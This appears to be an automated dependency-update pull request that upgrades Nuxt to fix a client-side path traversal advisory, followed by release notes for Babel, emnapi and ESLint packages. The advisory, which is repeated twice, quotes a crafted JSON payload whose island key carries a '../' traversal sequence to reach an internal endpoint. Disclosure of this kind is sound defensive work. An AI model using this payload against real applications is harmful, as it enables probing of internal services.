🚨 [security] Update nuxt 3.17.7 → 4.2.2 (major)
🚨 Your current dependencies have known security vulnerabilities 🚨
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
✳️ nuxt (3.17.7 → 4.2.2) · Repo
Security Advisories 🚨
🚨 Nuxt has Client-Side Path Traversal in Nuxt Island Payload Revival
Summary
A client-side path traversal vulnerability in Nuxt's Island payload revival mechanism allowed attackers to manipulate client-side requests to different endpoints within the same application domain when specific prerendering conditions are met.
Technical Details
The vulnerability occurs in the client-side payload revival process (revive-payload.client.ts) where Nuxt Islands are automatically fetched when encountering serialized
__nuxt_islandobjects. The issue affects the following flow:
- During prerendering, if an API endpoint returns user-controlled data containing a crafted
__nuxt_islandobject- This data gets serialized with
devalue.stringifyand stored in the prerendered page- When a client navigates to the prerendered page,
devalue.parsedeserializes the payload- The Island reviver attempts to fetch
/__nuxt_island/${key}.jsonwherekeycould contain path traversal sequencesPrerequisites for Exploitation
This vulnerability requires all of the following conditions:
- Prerendered pages: The application must use Nuxt's prerendering feature (
nitro.prerender)- Attacker-controlled API responses: The attacker must be able to control the response content of an API endpoint that is called during prerendering via
useFetch,useAsyncData, or similar composables- Client-side navigation: A user must navigate to the prerendered page (not during initial SSR hydration)
Attack Scenario
// Malicious API response during prerendering { "__nuxt_island": { "key": "../../../../internal/service", "params": { "action": "probe" } } }This could cause the client to make requests to
/__nuxt_island/../../../../internal/service.jsonif path traversal is not properly handled by the server.Impact Assessment
- Limited Impact: The vulnerability has a low severity due to the highly specific prerequisites
- No Direct Data Exfiltration: The vulnerability does not directly expose sensitive data
- Client-Side Only: Requests originate from the client, not the server
Mitigation
Action Required:
- Update to Nuxt 3.19.0+ or 4.1.0+ immediately
- Review any prerendered pages that fetch external or user-controlled data
Temporary Workarounds (if immediate update is not possible):
- Disable prerendering for pages that fetch user-controlled data
- Implement strict input validation on API endpoints used during prerendering
- Use allowlists for API response structures during prerendering
Fix Details
The fix implemented validation for Island keys in
revive-payload.server.ts:
- Island keys must match the pattern
/^[a-z][a-z\d-]*_[a-z\d]+$/i- Maximum length of 100 characters
- Prevents path traversal and special characters
🚨 Nuxt has Client-Side Path Traversal in Nuxt Island Payload Revival
Summary
A client-side path traversal vulnerability in Nuxt's Island payload revival mechanism allowed attackers to manipulate client-side requests to different endpoints within the same application domain when specific prerendering conditions are met.
Technical Details
The vulnerability occurs in the client-side payload revival process (revive-payload.client.ts) where Nuxt Islands are automatically fetched when encountering serialized
__nuxt_islandobjects. The issue affects the following flow:
- During prerendering, if an API endpoint returns user-controlled data containing a crafted
__nuxt_islandobject- This data gets serialized with
devalue.stringifyand stored in the prerendered page- When a client navigates to the prerendered page,
devalue.parsedeserializes the payload- The Island reviver attempts to fetch
/__nuxt_island/${key}.jsonwherekeycould contain path traversal sequencesPrerequisites for Exploitation
This vulnerability requires all of the following conditions:
- Prerendered pages: The application must use Nuxt's prerendering feature (
nitro.prerender)- Attacker-controlled API responses: The attacker must be able to control the response content of an API endpoint that is called during prerendering via
useFetch,useAsyncData, or similar composables- Client-side navigation: A user must navigate to the prerendered page (not during initial SSR hydration)
Attack Scenario
// Malicious API response during prerendering { "__nuxt_island": { "key": "../../../../internal/service", "params": { "action": "probe" } } }This could cause the client to make requests to
/__nuxt_island/../../../../internal/service.jsonif path traversal is not properly handled by the server.Impact Assessment
- Limited Impact: The vulnerability has a low severity due to the highly specific prerequisites
- No Direct Data Exfiltration: The vulnerability does not directly expose sensitive data
- Client-Side Only: Requests originate from the client, not the server
Mitigation
Action Required:
- Update to Nuxt 3.19.0+ or 4.1.0+ immediately
- Review any prerendered pages that fetch external or user-controlled data
Temporary Workarounds (if immediate update is not possible):
- Disable prerendering for pages that fetch user-controlled data
- Implement strict input validation on API endpoints used during prerendering
- Use allowlists for API response structures during prerendering
Fix Details
The fix implemented validation for Island keys in
revive-payload.server.ts:
- Island keys must match the pattern
/^[a-z][a-z\d-]*_[a-z\d]+$/i- Maximum length of 100 characters
- Prevents path traversal and special characters
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/compat-data (indirect, 7.28.0 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.28.4
v7.28.4 (2025-09-05)
Thanks @gwillen and @mrginglymus for your first PRs!
🏠 Internal
babel-core,babel-helper-check-duplicate-nodes,babel-traverse,babel-typesbabel-plugin-transform-regenerator
- #17455 chore: Clean up
transform-regenerator(@liuxingbaoyu)babel-core
- #17474 Switch to @jridgewell/remapping (@mrginglymus)
Committers: 5
- Babel Bot (@babel-bot)
- Bill Collins (@mrginglymus)
- Glenn Willen (@gwillen)
- Huáng Jùnliàng (@JLHwung)
- @liuxingbaoyu
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/core (indirect, 7.28.0 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.28.4
v7.28.4 (2025-09-05)
Thanks @gwillen and @mrginglymus for your first PRs!
🏠 Internal
babel-core,babel-helper-check-duplicate-nodes,babel-traverse,babel-typesbabel-plugin-transform-regenerator
- #17455 chore: Clean up
transform-regenerator(@liuxingbaoyu)babel-core
- #17474 Switch to @jridgewell/remapping (@mrginglymus)
Committers: 5
- Babel Bot (@babel-bot)
- Bill Collins (@mrginglymus)
- Glenn Willen (@gwillen)
- Huáng Jùnliàng (@JLHwung)
- @liuxingbaoyu
7.28.3
v7.28.3 (2025-08-14)
👓 Spec Compliance
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-static-block,babel-preset-env
- #17443 [static blocks] Do not inject new static fields after static code (@nicolo-ribaudo)
🐛 Bug Fix
babel-parser💅 Polish
babel-plugin-transform-regenerator,babel-plugin-transform-runtime
- #17363 Do not save last yield in call in temp var (@nicolo-ribaudo)
📝 Documentation
🏠 Internal
🔬 Output optimization
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressionsCommitters: 5
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Jam Balaya (@JamBalaya56562)
- Nicolò Ribaudo (@nicolo-ribaudo)
- easrng (@easrng)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/generator (indirect, 7.28.0 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.28.3
v7.28.3 (2025-08-14)
👓 Spec Compliance
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-static-block,babel-preset-env
- #17443 [static blocks] Do not inject new static fields after static code (@nicolo-ribaudo)
🐛 Bug Fix
babel-parser💅 Polish
babel-plugin-transform-regenerator,babel-plugin-transform-runtime
- #17363 Do not save last yield in call in temp var (@nicolo-ribaudo)
📝 Documentation
🏠 Internal
🔬 Output optimization
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressionsCommitters: 5
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Jam Balaya (@JamBalaya56562)
- Nicolò Ribaudo (@nicolo-ribaudo)
- easrng (@easrng)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/helper-member-expression-to-functions (indirect, 7.27.1 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/helper-module-transforms (indirect, 7.27.3 → 7.28.3) · Repo · Changelog
Release Notes
7.28.3
v7.28.3 (2025-08-14)
👓 Spec Compliance
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-static-block,babel-preset-env
- #17443 [static blocks] Do not inject new static fields after static code (@nicolo-ribaudo)
🐛 Bug Fix
babel-parser💅 Polish
babel-plugin-transform-regenerator,babel-plugin-transform-runtime
- #17363 Do not save last yield in call in temp var (@nicolo-ribaudo)
📝 Documentation
🏠 Internal
🔬 Output optimization
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressionsCommitters: 5
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Jam Balaya (@JamBalaya56562)
- Nicolò Ribaudo (@nicolo-ribaudo)
- easrng (@easrng)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/helper-validator-identifier (indirect, 7.27.1 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/helpers (indirect, 7.28.2 → 7.28.4) · Repo · Changelog
Release Notes
7.28.4
v7.28.4 (2025-09-05)
Thanks @gwillen and @mrginglymus for your first PRs!
🏠 Internal
babel-core,babel-helper-check-duplicate-nodes,babel-traverse,babel-typesbabel-plugin-transform-regenerator
- #17455 chore: Clean up
transform-regenerator(@liuxingbaoyu)babel-core
- #17474 Switch to @jridgewell/remapping (@mrginglymus)
Committers: 5
- Babel Bot (@babel-bot)
- Bill Collins (@mrginglymus)
- Glenn Willen (@gwillen)
- Huáng Jùnliàng (@JLHwung)
- @liuxingbaoyu
7.28.3
v7.28.3 (2025-08-14)
👓 Spec Compliance
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-static-block,babel-preset-env
- #17443 [static blocks] Do not inject new static fields after static code (@nicolo-ribaudo)
🐛 Bug Fix
babel-parser💅 Polish
babel-plugin-transform-regenerator,babel-plugin-transform-runtime
- #17363 Do not save last yield in call in temp var (@nicolo-ribaudo)
📝 Documentation
🏠 Internal
🔬 Output optimization
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressionsCommitters: 5
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Jam Balaya (@JamBalaya56562)
- Nicolò Ribaudo (@nicolo-ribaudo)
- easrng (@easrng)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 35 commits:
v7.28.4fix: allow `d` and `v` flag in `regExpLiteral` builder (#17495)Update test262 (#17496)Update Jest to v30.1.1 (#17493)Improve @babel/traverse typings (#17485)Update compat data (#17487)Update test262 (#17488)Do not enable default plugins in `@babel/standalone` (#17421)chore: Clean up `transform-regenerator` (#17455)Improve @babel/core typings (#17471)Update test262 (#17481)[Babel 8] Align TSMappedType AST (#17479)Switch to @jridgewell/remapping (#17474)Add v7.28.3 to CHANGELOG.md [skip ci]v7.28.3fix(parser/typescript): parse `import("./a", {with:{},})` (#17465)chore: fix various typos across codebase (#17476)chore: fix typos in release.yml (#17475)fix(parser): stop subscript parsing on async arrow (#17478)chore: update node flags (#17477)build(Babel 8): disable JSON module transform (#17468)[babel 8] Add `@types/jsesc` as a dep of `@babel/generator` (#17459)Update test262 (#17462)Misc: Cleanup Babel 8 tasks (#17429)export PartialConfig and NormalizedOptions (#17470)chore: update browser compat libs (#17469)Type-check `.d.ts` file with `strict: true` (#17461)Enable type checking for `scripts` and `babel-worker.cjs` (#17454)Type check gulp&jest config (#17453)[static blocks] Do not inject new static fields after static code (#17443)Do not save last yield in call in temp var (#17363)Optimize do expression output (#17444)Update test262 (#17449)move eslint-{parser,plugin} docs to the website (#17448)Add v7.28.2 to CHANGELOG.md [skip ci]
↗️ @babel/parser (indirect, 7.28.0 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.28.4
v7.28.4 (2025-09-05)
Thanks @gwillen and @mrginglymus for your first PRs!
🏠 Internal
babel-core,babel-helper-check-duplicate-nodes,babel-traverse,babel-typesbabel-plugin-transform-regenerator
- #17455 chore: Clean up
transform-regenerator(@liuxingbaoyu)babel-core
- #17474 Switch to @jridgewell/remapping (@mrginglymus)
Committers: 5
- Babel Bot (@babel-bot)
- Bill Collins (@mrginglymus)
- Glenn Willen (@gwillen)
- Huáng Jùnliàng (@JLHwung)
- @liuxingbaoyu
7.28.3
v7.28.3 (2025-08-14)
👓 Spec Compliance
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-static-block,babel-preset-env
- #17443 [static blocks] Do not inject new static fields after static code (@nicolo-ribaudo)
🐛 Bug Fix
babel-parser💅 Polish
babel-plugin-transform-regenerator,babel-plugin-transform-runtime
- #17363 Do not save last yield in call in temp var (@nicolo-ribaudo)
📝 Documentation
🏠 Internal
🔬 Output optimization
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressionsCommitters: 5
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Jam Balaya (@JamBalaya56562)
- Nicolò Ribaudo (@nicolo-ribaudo)
- easrng (@easrng)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/plugin-transform-typescript (indirect, 7.28.0 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/traverse (indirect, 7.28.0 → 7.28.5) · Repo · Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
👓 Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifier🐛 Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverse🏠 Internal
🏃♀️ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- Huáng Jùnliàng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.28.4
v7.28.4 (2025-09-05)
Thanks @gwillen and @mrginglymus for your first PRs!
🏠 Internal
babel-core,babel-helper-check-duplicate-nodes,babel-traverse,babel-typesbabel-plugin-transform-regenerator
- #17455 chore: Clean up
transform-regenerator(@liuxingbaoyu)babel-core
- #17474 Switch to @jridgewell/remapping (@mrginglymus)
Committers: 5
- Babel Bot (@babel-bot)
- Bill Collins (@mrginglymus)
- Glenn Willen (@gwillen)
- Huáng Jùnliàng (@JLHwung)
- @liuxingbaoyu
7.28.3
v7.28.3 (2025-08-14)
👓 Spec Compliance
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-static-block,babel-preset-env
- #17443 [static blocks] Do not inject new static fields after static code (@nicolo-ribaudo)
🐛 Bug Fix
babel-parser💅 Polish
babel-plugin-transform-regenerator,babel-plugin-transform-runtime
- #17363 Do not save last yield in call in temp var (@nicolo-ribaudo)
📝 Documentation
🏠 Internal
🔬 Output optimization
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressionsCommitters: 5
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Jam Balaya (@JamBalaya56562)
- Nicolò Ribaudo (@nicolo-ribaudo)
- easrng (@easrng)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @cloudflare/kv-asset-handler (indirect, 0.4.0 → 0.4.1) · Repo · Changelog
↗️ @emnapi/core (indirect, 1.4.3 → 1.7.1) · Repo
Release Notes
1.7.1
What's Changed
- move Node-API version detection by @toyobayashi in #182
- feat: support SharedArrayBuffer in napi_create_dataview by @toyobayashi in #183
Full Changelog: v1.7.0...v1.7.1
1.7.0
What's Changed
- feat: add napi_create_object_with_properties method by @toyobayashi in #181
Full Changelog: v1.6.0...v1.7.0
1.6.0
What's Changed
- feat: added SharedArrayBuffer api by @toyobayashi in #171
- feat: make napi_delete_reference use node_api_basic_env by @toyobayashi in #170
- ci: migrate to npm trusted publishing by @toyobayashi in #168
Full Changelog: v1.5.0...v1.6.0
1.5.0
What's Changed
Prebuilt libraries are built by LLVM clang 20.
- fix: env undefined after emitting beforeExit event by @toyobayashi in #162
- fix(wasi): avoid deadlock caused by child thread abort when the main thread is in
Atomics.waitand allow blocking calls on browser main thread (requires wasi-sdk 26+ and--export=emnapi_thread_crashed) by @toyobayashi in #163- build: backport emscripten parse tools changes to v1 by @toyobayashi in #165
Full Changelog: v1.4.5...v1.5.0
1.4.5
What's Changed
- fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)
Full Changelog: v1.4.4...v1.4.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
1.7.1feat: support SharedArrayBuffer in napi_create_dataview (#183)move Node-API version detection (#182)1.7.0[Backport] feat: add napi_create_object_with_properties method (#181)ci: fix version retrieval1.6.0feat: make napi_delete_reference use node_api_basic_env (#170)[Backport] feat: added SharedArrayBuffer api (#171)ci: migrate to npm trusted publishing (#168)fix cifix ci1.5.0[Backport] build: backport emscripten parse tools changes to v1 (#165)fix: signature mismatch[Backport] fix(wasi): avoid deadlock caused by child thread abort when the main thread is in `Atomics.wait` (#163)[Backport] fix: env undefined after emitting beforeExit event (#162)1.4.5fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)1.4.4fix: `worker.onerror` may receive an `Event`
↗️ @emnapi/runtime (indirect, 1.4.3 → 1.7.1) · Repo
Release Notes
1.7.1
What's Changed
- move Node-API version detection by @toyobayashi in #182
- feat: support SharedArrayBuffer in napi_create_dataview by @toyobayashi in #183
Full Changelog: v1.7.0...v1.7.1
1.7.0
What's Changed
- feat: add napi_create_object_with_properties method by @toyobayashi in #181
Full Changelog: v1.6.0...v1.7.0
1.6.0
What's Changed
- feat: added SharedArrayBuffer api by @toyobayashi in #171
- feat: make napi_delete_reference use node_api_basic_env by @toyobayashi in #170
- ci: migrate to npm trusted publishing by @toyobayashi in #168
Full Changelog: v1.5.0...v1.6.0
1.5.0
What's Changed
Prebuilt libraries are built by LLVM clang 20.
- fix: env undefined after emitting beforeExit event by @toyobayashi in #162
- fix(wasi): avoid deadlock caused by child thread abort when the main thread is in
Atomics.waitand allow blocking calls on browser main thread (requires wasi-sdk 26+ and--export=emnapi_thread_crashed) by @toyobayashi in #163- build: backport emscripten parse tools changes to v1 by @toyobayashi in #165
Full Changelog: v1.4.5...v1.5.0
1.4.5
What's Changed
- fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)
Full Changelog: v1.4.4...v1.4.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
1.7.1feat: support SharedArrayBuffer in napi_create_dataview (#183)move Node-API version detection (#182)1.7.0[Backport] feat: add napi_create_object_with_properties method (#181)ci: fix version retrieval1.6.0feat: make napi_delete_reference use node_api_basic_env (#170)[Backport] feat: added SharedArrayBuffer api (#171)ci: migrate to npm trusted publishing (#168)fix cifix ci1.5.0[Backport] build: backport emscripten parse tools changes to v1 (#165)fix: signature mismatch[Backport] fix(wasi): avoid deadlock caused by child thread abort when the main thread is in `Atomics.wait` (#163)[Backport] fix: env undefined after emitting beforeExit event (#162)1.4.5fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)1.4.4fix: `worker.onerror` may receive an `Event`
↗️ @emnapi/wasi-threads (indirect, 1.0.2 → 1.1.0) · Repo
Release Notes
1.1.0
What's Changed
- test: make napi_get_buffer_info check if passed buffer is valid by @toyobayashi in #108
- feat: segregate nogc APIs from rest via type system by @toyobayashi in #110
- test: fix unreliable assumption in js-native-api/test_cannot_run_js by @toyobayashi in #111
- fix: missing sources in gyp wasi + threads target
Full Changelog: v1.0.0...v1.1.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
1.1.0fix: missing sources in gyp wasi + threads targettest: fix unreliable assumption in js-native-api/test_cannot_run_js (#111)test: move NAPI_EXPERIMENTAL definition to cmake file (nodejs/node#51254)feat: segregate nogc APIs from rest via type system (#110)test: make napi_get_buffer_info check if passed buffer is valid (#108)chore: update node-gyp usage in README
↗️ @eslint/js (indirect, 9.33.0 → 9.39.2) · Repo · Changelog
Release Notes
9.39.2
Bug Fixes
Build Related
Chores
9.39.1
Bug Fixes
Documentation
51b51f4docs: add a section on when to use extends vs cascading (#20268) (Tanuj Kanti)b44d426docs: Update README (GitHub Actions Bot)Chores
92db329chore: update@eslint/jsversion to 9.39.1 (#20284) (Francesco Trotta)c7ebefcchore: package.json update for @eslint/js release (Jenkins)61778f6chore: update eslint-config-eslint dependency @eslint/js to ^9.39.0 (#20275) (renovate[bot])d9ca2fcci: Add rangeStrategy to eslint group in renovate config (#20266) (唯然)009e507test: fix version tests for ESLint v10 (#20274) (Milos Djermanovic)
9.39.0
Features
cc57d87feat: update error loc to key inno-dupe-class-members(#20259) (Tanuj Kanti)126552ffeat: update error location infor-directionandno-dupe-args(#20258) (Tanuj Kanti)167d097feat: updatecomplexityrule to highlight only static block header (#20245) (jaymarvelz)Bug Fixes
15f5c7cfix: forward traversalstep.argsto visitors (#20253) (jaymarvelz)5a1a534fix: allow JSDoc comments in object-shorthand rule (#20167) (Nitin Kumar)e86b813fix: Use more types from @eslint/core (#20257) (Nicholas C. Zakas)927272dfix: correctScopetypings (#20198) (jaymarvelz)37f76d9fix: useAST.Programtype for Program node (#20244) (Francesco Trotta)ae07f0bfix: unify timing report for concurrent linting (#20188) (jaymarvelz)b165d47fix: correctRuletypings (#20199) (jaymarvelz)fb97cdafix: improve error message for missing fix function in suggestions (#20218) (jaymarvelz)Documentation
d3e81e3docs: Always recommend to include a files property (#20158) (Percy Ma)0f0385fdocs: use consistent naming recommendation (#20250) (Alex M. Spieslechner)a3b1456docs: Update README (GitHub Actions Bot)cf5f2dddocs: fix correct tag ofno-useless-constructor(#20255) (Tanuj Kanti)10b995cdocs: add TS options and examples fornofuncinno-use-before-define(#20249) (Tanuj Kanti)2584187docs: remove repetitive word in comment (#20242) (reddaisyy)637216bdocs: update CLI flags migration instructions (#20238) (jaymarvelz)e7cda3bdocs: Update README (GitHub Actions Bot)7b9446fdocs: handle empty flags sections on the feature flags page (#20222) (sethamus)Chores
